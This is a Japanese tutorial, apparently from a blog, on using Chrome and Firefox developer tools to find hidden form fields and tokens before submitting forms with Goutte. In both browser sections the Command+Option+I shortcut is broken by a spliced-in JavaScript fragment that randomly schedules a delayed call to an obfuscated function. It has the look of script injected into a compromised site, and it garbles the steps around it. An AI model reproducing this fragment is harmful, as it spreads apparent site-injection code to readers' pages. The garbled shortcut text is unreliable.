
はじめに
まず、このページの趣旨はGoutteでのフォーム送信のやり方の説明ではなく、フォーム送信時に必要な送信情報を漏れなく洗い出すため方法です。
※Goutteを使った基本的なフォームの送信方法につきましては下記の記事をご参照ください。

なぜ送信に必要な情報を調べなくてはいけないのか?
そんな面倒なことはせずに、ブラウザ上に表示されているフォーム項目の内容を配列に格納してformメソッドで送信してしまえば良いのでは?と思うかもしれません。このやり方で全く問題ありません。ただし、上手くいかないことの方が多いはずです。なぜならある程度作りのしっかりしたWebサイトはそれなりに対策しています。
hiddenされている送信情報を完璧に洗い出すこと
hiddenされている送信情報とは?
twitterの新規会員登録ページを例にあげてみます。
デベロッパーツールでhtmlを確認すると表の画面に表示されていない情報が大量に存在することがわかります。これは何の情報かと言うとサイト側が施したページリクエスト時に生成される認証用のトークン等です。このhidden項目を確認するためにhtmlを目視で確認するのはサイトによってはかなり面倒なので次の項では簡単に確認する方法を説明します。
ブラウザのデベロッパーツールを使って送信情報を確認する
chromeで確認する方法
1.デベロッパーツールを表示してみましょう。(Windowsの場合F12キー、Macの場合はCommandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and+Option+Iキー)
2.表示したデベロッパーツールの上部メニュー「Network」をクリック
3.Networkタブが開いた状態で、フォームを送信してみます。
今回は例としてGoogleを利用し「html」という文字列で検索してみます。検索フォームを送信後、Networkタブ内に表示されていた情報が更新されます。フォームの送信情報は最上部に表示されるのでName列の文字列をクリック。
4.Networkタブ内の右側に詳細な情報が表示されますので最下部までスクロールしてください。一番に下に表示されている内容がフォーム送信に使われた情報です。
Firefoxで確認する方法
1.デベロッパーツールを表示してみましょう。(Windowsの場合F12キー、Macの場合はCommandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and+Option+Iキー)
2.表示したデベロッパーツールの上部メニュー「ネットワーク」をクリック
3.ネットワークタブが開いた状態で、フォームを送信してみます。
今回もChromeの例と同じようにGoogleを利用し「html」という文字列で検索してみます。検索フォームを送信後、ネットワークタブ内に表示されていた情報が更新されます。フォームの送信情報は最上部に表示されるのでクリック。
4.ネットワークタブ内の右側に詳細な情報が表示されますので右側のメニュー「パラメータ」をクリック。そこで表示される内容がフォーム送信に使われた情報です。
以上です。